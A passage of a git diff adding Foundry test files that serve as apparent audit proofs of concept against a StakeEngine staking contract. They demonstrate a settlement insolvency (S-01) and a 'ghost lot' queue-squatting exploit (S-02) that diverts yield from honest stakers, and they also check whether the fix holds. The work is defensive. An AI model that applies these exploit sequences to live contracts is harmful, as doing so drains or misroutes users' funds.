claims); + } + + // Second settlement: this is where the 0 index is READ back as RAY + vm.warp(block.timestamp + 1 days); + eng.updatePost(POST); + (uint256 s2, uint256 c2) = eng.getPostTotals(POST); + uint256 balAfter2 = vsp.balanceOf(address(eng)); + emit log_named_uint("support after 2nd", s2); + emit log_named_uint("victim after 2nd", eng.getUserStake(victim, POST, 0)); + emit log_named_uint("claims after 2nd", s2 + c2); + emit log_named_uint("bal after 2nd", balAfter2); + if (s2 + c2 > balAfter2) { + emit log_named_uint("DEFICIT 2nd", s2 + c2 - balAfter2); + } + + assertGt(s2 + c2, balAfter2, "S-01: insolvency after sentinel read-back"); + } +} diff --git a/test/S01ConfirmedPoC.t.sol b/test/S01ConfirmedPoC.t.sol new file mode 100644 index 0000000..bd2cf50 --- /dev/null +++ b/test/S01ConfirmedPoC.t.sol @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-01 CONFIRMED PoC: realistic values + withdrawal proof +contract S01ConfirmedPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + uint256 constant POST = 42; + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, 5e18); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e36); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + function test_S01_Confirmed_RealisticValues() public { + uint256 rankedAmt = 1e18; // 1 VSP per ranked lot + uint256 bucketAmt = 1e18; // 1 VSP per bucket member (== ranked, so goes to bucket) + + // 100 ranked lots + for (uint256 i = 0; i < 100; i++) { + address r = address(uint160(0x100000 + i)); + _fund(r, rankedAmt); + vm.prank(r); + eng.stake(POST, 0, rankedAmt); + } + // 900 bucket members (amount <= smallest ranked → bucket) + for (uint256 i = 0; i < 900; i++) { + address b = address(uint160(0x200000 + i)); + _fund(b, bucketAmt); + vm.prank(b); + eng.stake(POST, 0, bucketAmt); + } + + // Challenge: 10x support to maximize vRay + address ch = address(0xBEEF); + uint256 chAmt = 10000e18; + _fund(ch, chAmt); + vm.prank(ch); + eng.stake(POST, 1, chAmt); + + uint256 balBefore = vsp.balanceOf(address(eng)); + emit log_named_uint("total staked (bal)", balBefore); + + // Warp 250 days — single settlement + vm.warp(block.timestamp + 250 days); + eng.updatePost(POST); + + (uint256 s1, uint256 c1) = eng.getPostTotals(POST); + uint256 balAfter = vsp.balanceOf(address(eng)); + emit log_named_uint("support after", s1); + emit log_named_uint("challenge after", c1); + emit log_named_uint("claims", s1 + c1); + emit log_named_uint("balance", balAfter); + + if (s1 + c1 > balAfter) { + emit log_named_uint("DEFICIT", s1 + c1 - balAfter); + } + + // Now try withdrawal by a bucket victim — can they drain more than exists? + address victim = address(uint160(0x200000 + 500)); + uint256 victimStake = eng.getUserStake(victim, POST, 0); + emit log_named_uint("victim claimable", victimStake); + + if (victimStake > 0) { + vm.prank(victim); + eng.withdraw(POST, 0, victimStake, true); + uint256 victimBal = vsp.balanceOf(victim); + emit log_named_uint("victim withdrew", victimBal); + } + + // Final solvency check + (uint256 s2, uint256 c2) = eng.getPostTotals(POST); + uint256 balFinal = vsp.balanceOf(address(eng)); + emit log_named_uint("final claims", s2 + c2); + emit log_named_uint("final balance", balFinal); + + if (s2 + c2 > balFinal) { + emit log_named_uint("FINAL DEFICIT", s2 + c2 - balFinal); + } + + // Assert insolvency + assertTrue(s1 + c1 > balAfter || s2 + c2 > balFinal, "S-01 CONFIRMED: insolvency"); + } +} diff --git a/test/S01DeployParams.t.sol b/test/S01DeployParams.t.sol new file mode 100644 index 0000000..060ea56 --- /dev/null +++ b/test/S01DeployParams.t.sol @@ -0,0 +1,122 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-01 reachability against REAL deploy parameters. +/// Deploy.s.sol line 86: rateMax = 693805319167998976 (~0.6938e18, 100% APY) +/// vs the 5e18 hard cap used in the first CONFIRMED PoC. +contract S01DeployParams is Test { + MockVSP vsp; + MockProtocolPolicy policy; + uint256 constant POST = 42; + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant CAP_RATE_MAX = 5e18; + + function _build(uint256 rateMax) internal returns (StakeEngine eng) { + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, rateMax); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e36); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(StakeEngine eng, address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + /// Returns deficit (claims - balance) for a given rate and dormancy. + function _run(uint256 rateMax, uint256 days_) internal returns (uint256 deficit, uint256 support) { + vm.warp(86400 * 1000); + StakeEngine eng = _build(rateMax); + + for (uint256 i = 0; i < 100; i++) { + address r = address(uint160(0x100000 + i)); + _fund(eng, r, 1e18); + vm.prank(r); + eng.stake(POST, 0, 1e18); + } + for (uint256 i = 0; i < 900; i++) { + address b = address(uint160(0x200000 + i)); + _fund(eng, b, 1e18); + vm.prank(b); + eng.stake(POST, 0, 1e18); + } + address ch = address(0xBEEF); + _fund(eng, ch, 10000e18); + vm.prank(ch); + eng.stake(POST, 1, 10000e18); + + vm.warp(block.timestamp + days_ * 1 days); + eng.updatePost(POST); + + (uint256 s, uint256 c) = eng.getPostTotals(POST); + uint256 bal = vsp.balanceOf(address(eng)); + support = s; + deficit = (s + c) > bal ? (s + c) - bal : 0; + } + + function test_A_capRate_250d() public { + (uint256 d, uint256 s) = _run(CAP_RATE_MAX, 250); + emit log_named_uint("[cap 5e18 / 250d] support", s); + emit log_named_uint("[cap 5e18 / 250d] deficit", d); + } + + function test_B_deployRate_250d() public { + (uint256 d, uint256 s) = _run(DEPLOY_RATE_MAX, 250); + emit log_named_uint("[deploy 0.69e18 / 250d] support", s); + emit log_named_uint("[deploy 0.69e18 / 250d] deficit", d); + } + + function test_C_deployRate_1100d() public { + (uint256 d, uint256 s) = _run(DEPLOY_RATE_MAX, 1100); + emit log_named_uint("[deploy 0.69e18 / 1100d] support", s); + emit log_named_uint("[deploy 0.69e18 / 1100d] deficit", d); + } + + function test_D_deployRate_1500d() public { + (uint256 d, uint256 s) = _run(DEPLOY_RATE_MAX, 1500); + emit log_named_uint("[deploy 0.69e18 / 1500d] support", s); + emit log_named_uint("[deploy 0.69e18 / 1500d] deficit", d); + } + + function test_E_1250d() public { + (uint256 def,) = _run(DEPLOY_RATE_MAX, 1250); + emit log_named_uint("deficit@1250d", def); + } + + function test_E_1300d() public { + (uint256 def,) = _run(DEPLOY_RATE_MAX, 1300); + emit log_named_uint("deficit@1300d", def); + } + + function test_E_1350d() public { + (uint256 def,) = _run(DEPLOY_RATE_MAX, 1350); + emit log_named_uint("deficit@1350d", def); + } + + function test_E_1400d() public { + (uint256 def,) = _run(DEPLOY_RATE_MAX, 1400); + emit log_named_uint("deficit@1400d", def); + } + + function test_E_1450d() public { + (uint256 def,) = _run(DEPLOY_RATE_MAX, 1450); + emit log_named_uint("deficit@1450d", def); + } +} + diff --git a/test/S02FixOrphanCheckPoC.t.sol b/test/S02FixOrphanCheckPoC.t.sol new file mode 100644 index 0000000..0a001d7 --- /dev/null +++ b/test/S02FixOrphanCheckPoC.t.sol @@ -0,0 +1,143 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// EXTERNAL REVIEW CHALLENGE to the S-02 fix. +/// +/// Claim from the reviewer: the fix leaves the OLD ghost lot in the array while +/// creating a NEW lot for the same address. When compactLots() or _rebalance +/// later drops the ghost, `_setLotIndex(ps, ghostStaker, side, 0)` would wipe the +/// index of the address's still-live NEW lot, orphaning real funds. +/// +/// This test is designed to FAIL if that is true. +contract S02FixOrphanCheckPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant POST = 1; + + address attacker = address(0xA77AC7E2); + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(POST, side, amt); + } + + /// Does the fix actually leave TWO array entries for the same address? + function test_DoesFixLeaveADuplicateLot() public { + _stake(attacker, 0, 1); + vm.prank(attacker); + eng.withdraw(POST, 0, 1, true); // ghost created + + _stake(address(0xB1), 0, 100e18); + _stake(address(0xB2), 0, 100e18); + + // restake: with the fix this must NOT revive at the old index + _stake(attacker, 0, 500e18); + + (uint256 amt, uint256 wPos,,,) = eng.getUserLotInfo(attacker, POST, 0); + emit log_named_uint("attacker lot amount", amt); + emit log_named_uint("attacker wPos", wPos); + emit log_named_uint("attacker getUserStake", eng.getUserStake(attacker, POST, 0)); + assertEq(amt, 500e18, "attacker must hold exactly the restaked amount"); + } + + /// THE CHALLENGE: compactLots after the fix. Does the attacker's live lot survive? + function test_CompactLotsAfterFix_LiveLotSurvives() public { + _stake(attacker, 0, 1); + vm.prank(attacker); + eng.withdraw(POST, 0, 1, true); // ghost at index 1 + + _stake(address(0xB1), 0, 100e18); + _stake(address(0xB2), 0, 100e18); + _stake(attacker, 0, 500e18); // new lot via the fix path + + uint256 beforeCompact = eng.getUserStake(attacker, POST, 0); + emit log_named_uint("attacker stake BEFORE compactLots", beforeCompact); + + // governance compacts, which drops zero-amount ghosts. + // With the v2 fix the ghost was already removed at restake time, so there + // is nothing to compact and the call correctly reverts NoGhostLots. + try eng.compactLots(POST, 0) { + emit log("compactLots ran (a ghost still existed)"); + } catch { + emit log("compactLots reverted NoGhostLots -> no ghost remained (v2 behaviour)"); + } + + uint256 afterCompact = eng.getUserStake(attacker, POST, 0); + emit log_named_uint("attacker stake AFTER compactLots", afterCompact); + + // If the reviewer is right, the ghost removal zeroes the live lot's index + // and this reads 0 -> funds orphaned. + assertEq(afterCompact, beforeCompact, "ORPHANED: compactLots wiped the live lot index"); + + // and the attacker must still be able to exit + vm.prank(attacker); + eng.withdraw(POST, 0, afterCompact, true); + emit log_named_uint("attacker withdrew", vsp.balanceOf(attacker)); + assertEq(eng.getUserStake(attacker, POST, 0), 0, "exit failed after compact"); + + (uint256 s, uint256 c) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency after compact+exit"); + } + + /// Same challenge but via _rebalance's ghost-demotion path (needs a full ranked set). + function test_RebalanceGhostDrop_LiveLotSurvives() public { + _stake(attacker, 0, 1); + vm.prank(attacker); + eng.withdraw(POST, 0, 1, true); // ghost + + // fill ranked to MAX so _rebalance's second loop can demote ghosts + for (uint256 i = 0; i < 99; i++) { + _stake(address(uint160(0x100000 + i)), 0, 10e18); + } + // attacker restakes -> new lot via fix path; array now at/over the cap + _stake(attacker, 0, 500e18); + + uint256 before = eng.getUserStake(attacker, POST, 0); + emit log_named_uint("attacker stake before churn", before); + + // more stakers arrive, forcing repeated _rebalance passes + for (uint256 i = 0; i < 10; i++) { + _stake(address(uint160(0x200000 + i)), 0, 20e18); + } + + uint256 after_ = eng.getUserStake(attacker, POST, 0); + emit log_named_uint("attacker stake after churn", after_); + assertEq(after_, before, "ORPHANED via _rebalance ghost drop"); + + vm.prank(attacker); + eng.withdraw(POST, 0, after_, true); + assertEq(eng.getUserStake(attacker, POST, 0), 0, "exit failed after rebalance churn"); + + (uint256 s, uint256 c) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency after rebalance churn"); + } +} diff --git a/test/S02GhostSquattingPoC.t.sol b/test/S02GhostSquattingPoC.t.sol new file mode 100644 index 0000000..cc920d1 --- /dev/null +++ b/test/S02GhostSquattingPoC.t.sol @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-02: ghost lot retains queue position -> position squatting. +/// +/// Withdrawing to zero leaves amount==0 in q.lots with lotIndex still set. +/// _recomputeWeightedPositions skips zero lots, so the ghost consumes no +/// cumulative weight. On restake, _increaseUser hits: +/// if (idx != 0) { q.lots[idx-1].amount += amount; } +/// so the attacker revives AT THEIR OLD INDEX -> lowest wPos -> highest rate. +/// +/// Uses REAL deploy rate (script/Deploy.s.sol:86) so the result is not +/// inflated by a governance-cap rate. +contract S02GhostSquattingPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant POST = 7; + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; // ~100% APY, as deployed + + address attacker = address(0xA77AC7E2); + address control = address(0xC0147201); + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e30); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + function test_S02_GhostRevivesAtFrontOfQueue() public { + uint256 big = 1000e18; + + // --- Step 1: attacker dust-stakes FIRST on a brand-new post, then exits fully. + _fund(attacker, 1); + vm.prank(attacker); + eng.stake(POST, 0, 1); + vm.prank(attacker); + eng.withdraw(POST, 0, 1, true); + // attacker is now a ghost: amount == 0, lotIndex still 1 + + assertEq(eng.getUserStake(attacker, POST, 0), 0, "attacker should be fully exited"); + + // --- Step 2: honest stakers arrive and the post grows. + for (uint256 i = 0; i < 10; i++) { + address h = address(uint160(0x5000 + i)); + _fund(h, big); + vm.prank(h); + eng.stake(POST, 0, big); + } + + // --- Step 3: attacker restakes large. Control staker stakes the SAME amount + // at the SAME time, but has no ghost. + _fund(attacker, big); + vm.prank(attacker); + eng.stake(POST, 0, big); + + _fund(control, big); + vm.prank(control); + eng.stake(POST, 0, big); + + // --- Positions: lower weightedPosition == earlier in queue == higher rate. + (uint256 aAmt, uint256 aPos,,, uint256 aWeight) = eng.getUserLotInfo(attacker, POST, 0); + (uint256 cAmt, uint256 cPos,,, uint256 cWeight) = eng.getUserLotInfo(control, POST, 0); + + emit log_named_uint("attacker amount", aAmt); + emit log_named_uint("control amount", cAmt); + emit log_named_uint("attacker weightedPosition", aPos); + emit log_named_uint("control weightedPosition", cPos); + emit log_named_uint("attacker positionWeight (rate multiplier, RAY)", aWeight); + emit log_named_uint("control positionWeight (rate multiplier, RAY)", cWeight); + + assertEq(aAmt, cAmt, "same principal, so any yield gap is purely positional"); + assertLt(aPos, cPos, "S-02: ghost revived AHEAD of an equal, honest, later staker"); + + // --- Step 4: quantify the stolen yield over one settlement. + // Support must win so the aligned branch mints. + address chal = address(0xBEEF); + _fund(chal, 1); + vm.prank(chal); + eng.stake(POST, 1, 1); + + vm.warp(block.timestamp + 30 days); + eng.updatePost(POST); + + uint256 aAfter = eng.getUserStake(attacker, POST, 0); + uint256 cAfter = eng.getUserStake(control, POST, 0); + uint256 aGain = aAfter - big; + uint256 cGain = cAfter - big; + + emit log_named_uint("attacker gain over 30d", aGain); + emit log_named_uint("control gain over 30d", cGain); + if (cGain > 0) { + emit log_named_uint("attacker/control gain ratio (bps)", aGain * 10000 / cGain); + } + emit log_named_uint("excess captured by attacker", aGain > cGain ? aGain - cGain : 0); + + assertGt(aGain, cGain, "S-02: ghost squatter out-earns an identical honest staker"); + } +} diff --git a/test/S02RealTokenPoC.t.sol b/test/S02RealTokenPoC.t.sol new file mode 100644 index 0000000..72eeccb --- /dev/null +++ b/test/S02RealTokenPoC.t.sol @@ -0,0 +1,163 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "../src/VSPToken.sol"; +import "../src/authority/Authority.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-02 FINAL — same finding, but against the REAL VSPToken + Authority, +/// not MockVSP. Removes the "your mock caused it" objection. +/// +/// Real-token specifics that matter here: +/// - mint/burn are role-gated via Authority (isMinter / isBurner) +/// - StakeEngine must be BOTH minter and burner +/// - StakeEngine is EXEMPT from the time-based supply cap +/// (constructor arg stakeEngine_ == STAKE_ENGINE_ADDRESS) +contract S02RealTokenPoC is Test { + StakeEngine eng; + VSPToken vsp; + Authority authority; + MockProtocolPolicy policy; + + uint256 constant POST = 7; + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant BIG = 1000e18; + uint256 constant N_HONEST = 10; + + address attacker = address(0xA77AC7E2); + + function _deploy() internal { + // StakeEngine proxy address must be known before the token, because the + // token takes it as an immutable. Deploy engine proxy first with a + // placeholder token, then wire. Simpler: predict via CREATE ordering is + // fragile, so deploy engine impl+proxy first using address(0) token and + // re-initialize is not possible (initializer). Instead: deploy token with + // a computed engine address using vm.computeCreateAddress. + // + // Cleanest reliable path: deploy the engine proxy FIRST but initialize it + // AFTER the token exists. ERC1967Proxy requires init data at construction, + // so instead we precompute the engine proxy address. + + address engineImpl = address(new StakeEngine(address(0))); + + // engine proxy will be the next contract created by this test contract + // after the token + authority. Compute it explicitly. + // Order below: authority -> tokenImpl -> tokenProxy -> engineProxy + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + + uint256 nonceNow = vm.getNonce(address(this)); + // creation order from here: authority(+0), tokenImpl(+1), tokenProxy(+2), engineProxy(+3) + address predictedEngine = vm.computeCreateAddress(address(this), nonceNow + 3); + + authority = new Authority(address(this)); + VSPToken tokenImpl = new VSPToken( + address(0), + block.timestamp, + 1_000_000_000e18, // large inception supply so the cap is never the binding constraint + 2e18, + predictedEngine + ); + ERC1967Proxy tokenProxy = + new ERC1967Proxy(address(tokenImpl), abi.encodeCall(VSPToken.initialize, (address(authority)))); + vsp = VSPToken(address(tokenProxy)); + + ERC1967Proxy engProxy = new ERC1967Proxy( + engineImpl, abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ); + eng = StakeEngine(address(engProxy)); + + require(address(eng) == predictedEngine, "engine address prediction failed"); + + // StakeEngine needs mint + burn rights + authority.setMinter(address(eng), true); + authority.setBurner(address(eng), true); + } + + function _fund(address who, uint256 amt) internal { + vsp.mint(who, amt); // this test contract is owner => minter + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + struct Result { + uint256 minted; + uint256 attackerGain; + uint256 honestGainSum; + uint256 claims; + uint256 engineBal; + } + + function _scenario(bool useGhost) internal returns (Result memory r) { + vm.warp(86400 * 1000); + _deploy(); + + if (useGhost) { + _fund(attacker, 1); + vm.prank(attacker); + eng.stake(POST, 0, 1); + vm.prank(attacker); + eng.withdraw(POST, 0, 1, true); + } + + for (uint256 i = 0; i < N_HONEST; i++) { + address h = address(uint160(0x5000 + i)); + _fund(h, BIG); + vm.prank(h); + eng.stake(POST, 0, BIG); + } + + _fund(attacker, BIG); + vm.prank(attacker); + eng.stake(POST, 0, BIG); + + address chal = address(0xBEEF); + _fund(chal, 1); + vm.prank(chal); + eng.stake(POST, 1, 1); + + uint256 supplyBefore = vsp.totalSupply(); + + vm.warp(block.timestamp + 30 days); + eng.updatePost(POST); + + r.minted = vsp.totalSupply() - supplyBefore; + r.attackerGain = eng.getUserStake(attacker, POST, 0) - BIG; + for (uint256 i = 0; i < N_HONEST; i++) { + r.honestGainSum += eng.getUserStake(address(uint160(0x5000 + i)), POST, 0) - BIG; + } + (uint256 s, uint256 c) = eng.getPostTotals(POST); + r.claims = s + c; + r.engineBal = vsp.balanceOf(address(eng)); + } + + function test_S02_RealToken() public { + Result memory a = _scenario(true); + Result memory b = _scenario(false); + + emit log("=== REAL VSPToken + Authority ==="); + emit log_named_uint("minted WITH ghost", a.minted); + emit log_named_uint("minted WITHOUT ghost", b.minted); + emit log_named_uint("attacker gain WITH ghost", a.attackerGain); + emit log_named_uint("attacker gain WITHOUT ghost", b.attackerGain); + emit log_named_uint("honest sum WITH ghost", a.honestGainSum); + emit log_named_uint("honest sum WITHOUT ghost", b.honestGainSum); + emit log_named_uint("claims WITH ghost", a.claims); + emit log_named_uint("engine bal WITH ghost", a.engineBal); + + uint256 excess = a.attackerGain - b.attackerGain; + uint256 shortfall = b.honestGainSum - a.honestGainSum; + emit log_named_uint("attacker excess", excess); + emit log_named_uint("honest shortfall", shortfall); + + // Same three claims as the mock-based severity test + assertEq(a.minted, b.minted, "no extra inflation caused by the ghost"); + assertGe(a.engineBal, a.claims, "engine remains solvent"); + assertEq(excess, shortfall, "zero-sum transfer, exact to the wei"); + // patch_prA_s02_regression: with the S-02 v2 fix the ghost path must yield ZERO advantage. + assertEq(a.attackerGain, b.attackerGain, "S-02 regression: ghost yields no advantage"); + } +} diff --git a/test/S02SeverityPoC.t.sol b/test/S02SeverityPoC.t.sol new file mode 100644 index 0000000..faf286e --- /dev/null +++ b/test/S02SeverityPoC.t.sol @@ -0,0 +1,143 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-02 SEVERITY TEST — is this misrouting (Medium) or over-minting/theft (higher)? +/// +/// Three questions the severity rating depends on: +/// Q1: does the ghost make the protocol mint MORE total VSP? (inflation vs redistribution) +/// Q2: do honest stakers end up WORSE OFF in absolute terms? (loss vs dilution) +/// Q3: does the engine stay solvent? (theft vs misallocation) +contract S02SeverityPoC is Test { + MockVSP vsp; + MockProtocolPolicy policy; + uint256 constant POST = 7; + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant BIG = 1000e18; + uint256 constant N_HONEST = 10; + + address attacker = address(0xA77AC7E2); + + function _build() internal returns (StakeEngine eng) { + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e30); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(StakeEngine eng, address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + struct Result { + uint256 totalSupplyBefore; + uint256 totalSupplyAfter; + uint256 minted; + uint256 attackerGain; + uint256 honestGainSum; + uint256 firstHonestGain; + uint256 engineBal; + uint256 claims; + bool solvent; + } + + function _scenario(bool useGhost) internal returns (Result memory r) { + vm.warp(86400 * 1000); + StakeEngine eng = _build(); + + if (useGhost) { + _fund(eng, attacker, 1); + vm.prank(attacker); + eng.stake(POST, 0, 1); + vm.prank(attacker); + eng.withdraw(POST, 0, 1, true); + } + + for (uint256 i = 0; i < N_HONEST; i++) { + address h = address(uint160(0x5000 + i)); + _fund(eng, h, BIG); + vm.prank(h); + eng.stake(POST, 0, BIG); + } + + _fund(eng, attacker, BIG); + vm.prank(attacker); + eng.stake(POST, 0, BIG); + + address chal = address(0xBEEF); + _fund(eng, chal, 1); + vm.prank(chal); + eng.stake(POST, 1, 1); + + r.totalSupplyBefore = vsp.totalSupply(); + + vm.warp(block.timestamp + 30 days); + eng.updatePost(POST); + + r.totalSupplyAfter = vsp.totalSupply(); + r.minted = r.totalSupplyAfter - r.totalSupplyBefore; + + r.attackerGain = eng.getUserStake(attacker, POST, 0) - BIG; + for (uint256 i = 0; i < N_HONEST; i++) { + address h = address(uint160(0x5000 + i)); + uint256 g = eng.getUserStake(h, POST, 0) - BIG; + r.honestGainSum += g; + if (i == 0) { + r.firstHonestGain = g; + } + } + + (uint256 s, uint256 c) = eng.getPostTotals(POST); + r.claims = s + c; + r.engineBal = vsp.balanceOf(address(eng)); + r.solvent = r.engineBal >= r.claims; + } + + function test_S02_Severity() public { + Result memory a = _scenario(true); + Result memory b = _scenario(false); + + emit log("=== Q1: total minted (inflation?) ==="); + emit log_named_uint("minted WITH ghost", a.minted); + emit log_named_uint("minted WITHOUT ghost", b.minted); + + emit log("=== Q2: honest staker outcomes (absolute loss?) ==="); + emit log_named_uint("honest gain SUM with ghost", a.honestGainSum); + emit log_named_uint("honest gain SUM without ghost", b.honestGainSum); + emit log_named_uint("first honest gain with ghost", a.firstHonestGain); + emit log_named_uint("first honest gain without ghost", b.firstHonestGain); + + emit log("=== attacker ==="); + emit log_named_uint("attacker gain with ghost", a.attackerGain); + emit log_named_uint("attacker gain without ghost", b.attackerGain); + + emit log("=== Q3: solvency ==="); + emit log_named_uint("claims with ghost", a.claims); + emit log_named_uint("engine bal with ghost", a.engineBal); + assertTrue(a.solvent, "engine solvent in ghost scenario"); + assertTrue(b.solvent, "engine solvent in clean scenario"); + + // Report whether honest stakers lost absolutely + if (a.honestGainSum < b.honestGainSum) { + emit log_named_uint("honest stakers LOST (absolute)", b.honestGainSum - a.honestGainSum); + } else { + emit log_named_uint("honest stakers gained MORE with ghost", a.honestGainSum - b.honestGainSum); + } + } +} diff --git a/test/S02ValidationPoC.t.sol b/test/S02ValidationPoC.t.sol new file mode 100644 index 0000000..11e224b --- /dev/null +++ b/test/S02ValidationPoC.t.sol @@ -0,0 +1,129 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-02 VALIDATION — differential test. +/// Question: is the attacker's advantage caused by the GHOST, or is it just +/// "whoever is early in the array wins", which would be intended design? +/// +/// Scenario A (ghost): attacker dust-stakes FIRST, exits, restakes big later. +/// Scenario B (no ghost): same attacker address does NOTHING first, just stakes +/// big at the same later moment. +/// Everything else identical. If A >> B, the ghost is the cause. +/// +/// Also compares against the EARLIEST honest staker, not just the last one, +/// which is the strictest fair benchmark. +contract S02ValidationPoC is Test { + MockVSP vsp; + MockProtocolPolicy policy; + uint256 constant POST = 7; + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant BIG = 1000e18; + + address attacker = address(0xA77AC7E2); + + function _build() internal returns (StakeEngine eng) { + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e30); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(StakeEngine eng, address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + /// Runs the scenario. useGhost = whether the attacker pre-stakes dust and exits. + /// Returns attacker position/gain and the EARLIEST honest staker's position/gain. + function _scenario(bool useGhost) internal returns (uint256 aPos, uint256 aGain, uint256 hPos, uint256 hGain) { + vm.warp(86400 * 1000); + StakeEngine eng = _build(); + + if (useGhost) { + _fund(eng, attacker, 1); + vm.prank(attacker); + eng.stake(POST, 0, 1); + vm.prank(attacker); + eng.withdraw(POST, 0, 1, true); + } + + // first honest staker — the strictest benchmark: genuinely earliest real capital + address h0 = address(uint160(0x5000)); + _fund(eng, h0, BIG); + vm.prank(h0); + eng.stake(POST, 0, BIG); + + for (uint256 i = 1; i < 10; i++) { + address h = address(uint160(0x5000 + i)); + _fund(eng, h, BIG); + vm.prank(h); + eng.stake(POST, 0, BIG); + } + + // attacker stakes big now (revives ghost in scenario A, fresh lot in scenario B) + _fund(eng, attacker, BIG); + vm.prank(attacker); + eng.stake(POST, 0, BIG); + + (, aPos,,,) = eng.getUserLotInfo(attacker, POST, 0); + (, hPos,,,) = eng.getUserLotInfo(h0, POST, 0); + + // make support win so the aligned branch mints + address chal = address(0xBEEF); + 